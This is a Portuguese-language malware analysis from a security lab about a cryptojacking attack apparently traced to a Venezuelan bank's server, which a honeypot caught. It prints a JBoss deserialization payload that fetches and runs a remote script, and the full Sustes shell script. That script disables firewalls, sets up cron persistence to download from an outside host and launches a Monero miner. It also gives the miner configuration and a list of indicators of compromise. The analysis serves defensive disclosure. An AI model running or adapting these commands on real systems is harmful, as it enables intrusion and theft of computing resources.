Muito se fala sobre a adoção de tecnologia blockchain (amplamente utilizadas por criptomoedas) por instituições financeiras tradicionais. O Banco Venezolano de Crédito parece ser um precursor nessa iniciativa, mas a semelhança acaba aqui.
Na verdade, o Lab encontrou evidências de que a infraestrutura do Banco tem sido utilizada por elementos maliciosos para mineração de criptomoeda Monero.
Defesa Proativa
Uma defesa proativa monitora diferentes incidentes oriundas de diferentes fontes. Uma dessas frentes de defesa proativa é a observação do comportamento dos atacantes em ambiente real. Uma ótima solução para esse tipo de ação é a constituição de honeypots de média ou de alta interação.
O DefCon-Lab dispõe de honeynet em funcionamento. Recentemente registramos atividade direcionada a sensor que apresentou discrepância entre o comportamento observado e a a origem do incidente.
A tentativa de acesso a portas não convencionais em um servidor que não possui serviço anunciado, é por si indicador de atividade questionável. Uma ação observada de forma persistente nos últimos meses é a mineração de criptomoedas em algumas portas específicas.

Em virtude disso, passamos a observar esse comportamento com maior atenção. Em um caso concreto, além de ação maliciosa, a origem da conexão foi determinante para que o sistema indicasse um alerta.
Incidente
O endereço IP 190.93.44.XX, do Banco Venezolano de Crédito, instituição financeira de médio porte da Venezuela, o qual possui 103 agências e mais de 7.000 funcionários, apresentou comportamento malicioso. Pela origem em uma instituição financeira, optamos por averiguar em maior detalhe o endereço IP referido.

Whois do domínio: venezolano.com
Domain Name: VENEZOLANO.COM [...] Registry Registrant ID: Registrant Name: Venezolano de Credito, Banco Universal Registrant Organization: Venezolano de Credito, Banco Universal Registrant Street: Avenida Alameda, Torre VCBU, Piso 2 Registrant City: Caracas Registrant State/Province: DF Registrant Postal Code: 1010 Registrant Country: VE [...]
Em análise detalhada do endereço IP 190.93.44.XX observamos a presença de página de configuração JBoss acessível sem qualquer filtro de origem.


Além disso, foi identificado no mesmo endereço a presença de HeartBleed, uma das vulnerabilidades mais notórias dos últimos anos (CVE 2014-0160).
Somente isso já seria algo inacreditável em se tratando de instituição financeira, na qual se presume preocupação com aspectos de segurança.
O detalhe mais impressionante foi observado na resposta do teste que confirmou a prova de conceito da vulnerabilidade.
$ ./heartbleed 190.93.44.XX:
...........@8..~R}.v%.Z..8/..GC.FR^...%..t.....490.86 Safari/537.36 Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue Content-Length: 1346 ....sr.2sun.reflect.annotation.AnnotationInvocationHandlerU.....~....L..memberValuest..Ljava/util/Map;L..typet..Ljava/lang/Class;xpsr.1org.apache.commons.collections.map.TransformedMapaw?.].Zp...L..keyTransformert.,Lorg/apache/commons/collections/Transformer;L..valueTransformerq.~..xppsr.:org.apache.commons.collections.functors.ChainedTransformer0...(ziTransformerst.-[Lorg/apache/commons/collections/Transformer;xpur.-[Lorg.apache.commons.collections.Transformer;.V*..4.....xp....sr.;org.apache.commons.collections.functors.ConstantTransformerXv..A......L..iConstantt..Ljava/lang/Object;xpvr..java.lang.Runtime...........xpsr.:org.apache.commons.collections.functors.InvokerTransformer...k{|.8...[..iArgst..[Ljava/lang/Object;L..iMethodNamet..Ljava/lang/String;[..iParamTypest..[Ljava/lang/Class;xpur..[Ljava.lang.Object;..X..s)l...xp....t. getRuntimeur..[Ljava.lang.Class;......Z....xp....t..getMethoduq.~......vr..java.lang.String...8z;.B...xpvq.~..sq.~..uq.~......puq.~......t..invokeuq.~......vr..java.lang.Object...........xpvq.~..sq.~..uq.~......ur..[Ljava.lang.String;..V...{G...xp....t../bin/sht..-ct.8wget -q -O - http://158.69.133.18:8220/mr.sh | bash -sht..execuq.~......vq.~.*sr..java.util.HashMap......`....F. does't matterxxvr..java.lang.annotation.Target...........xp..P&.k...c..L..[xpe..#...D]. `Z...i........> hu.vbs&@echo xPost.Send() >> hu.vbs&@echo Set sGet = CreateObject(ADODB.Stream) >> hu.vbs&@echo sGet.Mode = 3 >> hu.vbs&@echo sGet.Type = 1 >> hu.vbs&@echo sGet.Open() >>hu.vbs&@echo sGet.Write(xPost.responseBody) >>hu.vbs&@echo sGet.SaveToFile ttte.exe,2 >>hu.vbs&@cscript hu.vbs&@taskkill /IM 3.exe&@taskkill /IM iee.exe&@taskkill /IM me.exe&@taskkill /IM iee.exe&@taskkill /IM ie.exe&@taskkill /IM xe.exe&@del hu.vbs&@start ttte.exe --donate-level=1 -k -a cryptonight -o 158.69.133.20:3333 -o 192.99.142.249:3333 -o 202.144.193.110:3333 -u 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg -p xt..execuq.~......vq.~.*sr..java.util.HashMap......`....F. does't matterxxvr..java.lang.annotation.Target...........xp.....Q...`._<x&R8
A resposta padrão da vulnerabilidade HeartBleed seria de trecho de código de aplicação web e cabeçalhos HTTP. Todavia, para a nossa surpresa, a resposta continha códigos shell script e chamadas para endereços IP na Internet, o que nos levou a inspecionar a resposta com maior cuidado.
A partir da resposta acima é possível observar a chamada “wget -q -O – http://158.69.133.18:8220/mr.sh”. Trata-se do malware conhecido como Sustes. A sua finalidade é utilizar o computador da vítima para minerar a moeda virtual Monero em proveito de terceiros. Nesse momento nós concluímos que se tratava de um cryptojacking, ataque no qual um agente malicioso utiliza secretamente o dispositivo da vítima para minerar criptomoeda.
O endereço IP de origem do minerador é conhecido por atividades maliciosas conforme se observa da análise X-Force.
O Sustes (mr.sh) é um script em shell que baixa artefatos adicionais para persistência e ocultação na máquina da vítima:
#!/bin/bash
mkdir /var/tmp
chattr -i /usr/bin/wget
chmod 755 /usr/bin/wget
chattr -i /usr/bin/curl
chmod 755 /usr/bin/curl
/etc/init.d/iptables stop
service iptables stop
SuSEfirewall2 stop
reSuSEfirewall2 stop
pkill -f sysxlj
pkill -f jourxlv
pkill -f sustes
touch /etc/ld.so.preload
netstat -antp | grep '56415' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '139.99.120.75' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /usr/lib/void.so
rm -rf /etc/voidonce.sh
rm -rf /usr/local/lib/libjdk.so
rm -rf /usr/local/lib/libntp.so
ps aux|grep "I2NvZGluZzogdXRmLTg"|grep -v grep|awk '{print $2}'|xargs kill -9
sed -i '$d' /etc/crontab
rm -rf /lib64/library1.so
rm -rf /usr/lib64/library1.so
iptables -I OUTPUT -s 167.99.166.61 -j DROP
iptables -I INPUT -s 167.99.166.61 -j DROP
iptables -I OUTPUT -p tcp -m string --string "pastebin" --algo bm -j DROP
iptables -I OUTPUT -p udp -m string --string "pastebin" --algo kmp -j DROP
rm -rf /etc/cron.monthly/oanacroner
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.hourly/oanacroner
rm -rf /usr/local/bin/dns
echo "" > /etc/crontab
echo "" > /etc/cron.d/root
echo "" > /etc/cron.d/apache
echo "" > /var/spool/cron/root
echo "" > /var/spool/cron/crontabs/root
chkconfig --del netdns
pkill -f netdns
echo "" > /etc/cron.d/system
chmod 777 /var/tmp
rm -rf /usr/local/bin/dns
rm -rf /usr/sbin/netdns
rm -rf /etc/init.d/netdns
rm -rf /etc/cron.monthly/oanacroner
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.hourly/oanacroner
chattr -i /usr/local/lib/libntpd.so
chmod 777 /usr/local/lib/libntpd.so
rm -rf /usr/local/lib/libntpd.so
sed -i '/libntpd.so/d' /etc/ld.so.preload
crontab -l | sed '/pastebin.com/d' | crontab -
netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '121.18.238.56' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep '103.99.115.220' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
pkill -f /usr/bin/.sshd
netstat -antp | grep '158.69.133.20:3333' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
rm -rf /var/tmp/j*
rm -rf /tmp/j*
rm -rf /var/tmp/java
rm -rf /tmp/java
rm -rf /var/tmp/java2
rm -rf /tmp/java2
rm -rf /var/tmp/java*
rm -rf /tmp/java*
chattr -i /usr/lib/libiacpkmn.so.3 && rm -rf /usr/lib/libiacpkmn.so.3
chattr -i /etc/init.d/nfstruncate && rm -rf /etc/init.d/nfstruncate
rm -rf /etc/rc.d/rc*.d/S01nfstruncate /bin/nfstruncate
rm -rf /tmp/qW3xT.2 /tmp/ddgs.3013 /tmp/ddgs.3012 /tmp/wnTKYg /tmp/2t3ik
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
rm -rf /tmp/.uninstall* /tmp/.python* /tmp/.tables* /tmp/.mas
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
echo -e "*/1 * * * * root (curl -s http://158.69.133.18:8220/mr.sh||wget -q -O - http://158.69.133.18:8220/mr.sh)|bash -sh\n##" > /etc/cron.d/root
echo -e "*/2 * * * * root (curl -s http://158.69.133.18:8220/mr.sh||wget -q -O - http://158.69.133.18:8220/mr.sh)|bash -sh\n##" > /etc/cron.d/apache
echo -e "*/30 * * * * (curl -s http://158.69.133.18:8220/mr.sh||wget -q -O - http://158.69.133.18:8220/mr.sh)|bash -sh\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "* * * * * (curl -s http://158.69.133.18:8220/mr.sh||wget -q -O - http://158.69.133.18:8220/mr.sh)|bash -sh\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
(curl -fsSL --connect-timeout 120 http://158.69.133.18:8220/11 -o /etc/cron.hourly/oanacroner1||http://158.69.133.18:8220/11 -O /etc/cron.hourly/oanacroner1) && chmod 755 /etc/cron.hourly/oanacroner1
chmod 777 /var/tmp/sustse
ps aux | grep -vw 'kworkerds\|sustse' | awk '{if($3>30.0) print $2}' | while read procid
do
kill -9 $procid
done
ps ax | grep /tmp/ | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'kworkerds\|sustse\|kworkerds\|sustse\|ppl' | awk '{print $1}' | xargs kill -9
netstat -ant|grep '158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333'|grep 'ESTABLISHED'|grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl http://158.69.133.18:8220/2mr.sh | bash -sh
fi
sleep 2
netstat -ant|grep '158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333'|grep 'ESTABLISHED'|grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl http://158.69.133.18:8220/3mr.sh | bash -sh
fi
DIR="/var/tmp"
if [ -a "/var/tmp/sustse" ]
then
if [ -w "/var/tmp/sustse" ] && [ ! -d "/var/tmp/sustse" ]
then
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum /var/tmp/sustse | awk '{ print $1 }')
echo $sum
case $sum in
042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
echo "sustse OK"
;;
*)
echo "sustse wrong"
pkill -f wc.conf
pkill -f sustse
sleep 4
;;
esac
fi
echo "P OK"
else
DIR=$(mktemp -d)/var/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
else
if [ -d "/var/tmp" ]
then
DIR="/var/tmp"
fi
echo "P NOT EXISTS"
fi
if [ -d "/var/tmp/sustse" ]
then
DIR=$(mktemp -d)/var/tmp
mkdir $DIR
echo "T DIR $DIR"
fi
WGET="wget -O"
if [ -s /usr/bin/curl ];
then
WGET="curl -o";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget -O";
fi
f2="158.69.133.18:8220"
downloadIfNeed()
{
if [ -x "$(command -v md5sum)" ]
then
if [ ! -f $DIR/sustse ]; then
echo "File not found!"
download
fi
sum=$(md5sum $DIR/sustse | awk '{ print $1 }')
echo $sum
case $sum in
042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
echo "sustse OK"
;;
*)
echo "sustse wrong"
sizeBefore=$(du $DIR/sustse)
if [ -s /usr/bin/curl ];
then
WGET="curl -k -o ";
fi
if [ -s /usr/bin/wget ];
then
WGET="wget --no-check-certificate -O ";
fi
#$WGET $DIR/sustse https://transfer.sh/wbl5H/sustse
download
sumAfter=$(md5sum $DIR/sustse | awk '{ print $1 }')
if [ -s /usr/bin/curl ];
then
echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sustse` > $DIR/var/tmp.txt
fi
;;
esac
else
echo "No md5sum"
download
fi
}
download() {
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/sustse3 | awk '{ print $1 }')
echo $sum
case $sum in
042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
echo "sustse OK"
cp $DIR/sustse3 $DIR/sustse
;;
*)
echo "sustse wrong"
download2
;;
esac
else
echo "No md5sum"
download2
fi
}
download2() {
if [ `getconf LONG_BIT` = "64" ]
then
$WGET $DIR/sustse http://158.69.133.18:8220/tte2
fi
if [ -x "$(command -v md5sum)" ]
then
sum=$(md5sum $DIR/sustse | awk '{ print $1 }')
echo $sum
case $sum in
042b0568a6e42ed3d4a5520ada926164 | 042b0568a6e42ed3d4a5520ada926164)
echo "sustse OK"
cp $DIR/sustse $DIR/sustse3
;;
*)
echo "sustse wrong"
;;
esac
else
echo "No md5sum"
fi
}
judge() {
if [ ! "$(netstat -ant|grep '158.69.133.18:80\|192.99.142.249:3333\|202.144.193.110:3333'|grep 'ESTABLISHED'|grep -v grep)" ];
then
ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid
do
kill -9 $procid
done
downloadIfNeed
touch /var/tmp/123
pkill -f /var/tmp/java
pkill -f w.conf
chmod +x $DIR/sustse
$WGET $DIR/wc.conf http://$f2/wt.conf
nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &
sleep 5
else
echo "Running"
fi
}
judge2() {
if [ ! "$(ps -fe|grep 'sustse'|grep 'wc.conf'|grep -v grep)" ];
then
downloadIfNeed
chmod +x $DIR/sustse
$WGET $DIR/wc.conf http://$f2/wt.conf
nohup $DIR/sustse -c $DIR/wc.conf > /dev/null 2>&1 &
sleep 5
else
echo "Running"
fi
}
if [ ! "$(netstat -ant|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ];
then
judge2
else
judge
fi
if crontab -l | grep -q "158.69.133.18:8220"
then
echo "Cron exists"
else
crontab -r
echo "Cron not found"
LDR="wget -q -O -"
if [ -s /usr/bin/curl ];
then
LDR="curl";
fi
if [ -s /usr/bin/wget ];
then
LDR="wget -q -O -";
fi
(crontab -l 2>/dev/null; echo "* * * * * $LDR http://158.69.133.18:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab -
fi
rm -rf /var/tmp/jrm
rm -rf /tmp/jrm
pkill -f 185.222.210.59
pkill -f 95.142.40.81
pkill -f 158.69.133.18
chmod 777 /var/tmp/sustse
crontab -l | sed '/185.222.210.59/d' | crontab -
Em busca pelo hash do arquivo no VirusTotal observou-se que esse artefato é conhecido pela comunidade de segurança da informação, tendo sido identificado por 20 das 57 ferramentas inspecionadas.
A partir do conteúdo do arquivo acima, foi possível acessar outros artefatos no endereço IP 158.69.133.18: 1.ps1, pic1.jpg, wc.json e wt.json.
O arquivo 1.ps1 (análise VT) é um rootkit para Linux, utilizado para escamotear a atividade do agente malicioso. O arquivo pic1.jpg (análise VT), ainda que possua extensão de imagem .jpg para evitar a detecção da sua real natureza, é um executável de Shell script.
Da análise do arquivo wc.json é possível observar que o atacante foi “generoso” ao configurar o uso de apenas 95% da capacidade de processamento do servidor (vide: “max-cpu-usage”: 95). Nenhuma surpresa nisso, pois parece seguir uma tendência de distribuição existente na Venezuela (muitos ficam com 5% e um sujeito com os 95% restantes 😈 ).
Como efeito colateral do apetite do atacante, essa taxa elevada de uso da CPU deve estar provocando uma percepção de lentidão por parte dos usuários dos sistemas do banco (os clientes!).
cat wc.json:
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": 5, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "158.69.133.18:80", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "192.99.142.249:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "202.144.193.110:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}
Analisando o arquivo de configuração, é possível observar o software de mineração Cryptonight Mining Software, além de alguns endereços IP de servidores de mineração e da carteira Monero 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg.
A seguir uma lista com detalhes de geolocalização dos endereços IP referenciados nos códigos acima:
| IP Address | Country Code | Location | ISP |
| 158.69.133.18 | CA | Montreal, Quebec, Canada, North America |
OVH Hosting |
| 192.99.142.249 | CA | Montreal, Quebec, Canada, North America |
OVH Hosting |
| 192.99.142.232 | CA | Montreal, Quebec, Canada, North America |
OVH Hosting |
| 192.99.142.226 |
CA | Montreal, Quebec, Canada, North America |
OVH Hosting |
| 202.144.193.110 | US | Los Angeles, California, United States, North America |
Thanchet Online Marketing |
| 185.222.210.59 | GB | United Kingdom, Europe |
Cloud Core LP |
| 95.142.40.81 | RU | Russia, Europe |
McHost.Ru |
| 27.155.87.59 | CN | Fujian, China, Asia |
China Telecom fujian |
| 104.160.171.94 | US | Astoria, New York, United States, North America |
Sharktech |
| 170.178.178.57 | US | Las Vegas, Nevada, United States, North America |
Sharktech |
| 91.236.182.1 | HU | Hungary, Europe |
Rethem Hosting LLC |
| 52.15.72.79 | US | Columbus, Ohio, United States, North America |
Amazon.com |
| 52.15.62.13 | US | Columbus, Ohio, United States, North America |
Amazon.com |
| 121.18.238.56 | CN | Nanjing, Jiangsu, China, Asia |
China Unicom Liaoning |
| 103.99.115.220 | US | Los Angeles, California, United States, North America |
Cnservers LLC |
| 158.69.133.20 | CA | Montreal, Quebec, Canada, North America |
OVH Hosting |
Conclusão
O Banco Venezolano de Crédito aparenta um nível de segurança lamentável. A existência de uma vulnerabilidade antiga como o HeartBleed é inacreditável, sobretudo numa instituição financeira.
Além disso, o Sustes malware, utilizado no caso em análise, é um artefato conhecido pela comunidade de segurança da informação. Esse artefato de mineração aparenta estar ativo desde setembro de 2018, conforme se observa da seguinte publicação no Pastebin e demais indicadores de comprometimento citados.
Tais evidências demonstram que o ataque não foi sofisticado ou inovador. Utilizando-se, inclusive, de artefatos e infraestrutura notórios. São elementos que reforçam a imaturidade da instituição em termos de segurança.
Da análise é possível concluir que o Banco Venezolano de Crédito foi vítima nesse incidente. Por outro lado, seria razoável exigir que uma instituição financeira fosse mais comprometida com a segurança e prevenisse esse tipo de ação. Ao final, os clientes desse banco foram duplamente prejudicados: uma pelo ataque em si e outra pela desídia da instituição financeira.
Indicadores de Comprometimento (IoC):
Endereços IP:
- 158.69.133.18
- 192.99.142.249
- 192.99.142.232
- 192.99.142.226
- 202.144.193.110
- 185.222.210.59
- 95.142.40.81
- 27.155.87.59
- 104.160.171.94
- 170.178.178.57
- 91.236.182.1
- 52.15.72.79
- 52.15.62.13
- 121.18.238.56
- 103.99.115.220
- 158.69.133.20
Carteiras:
- 4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg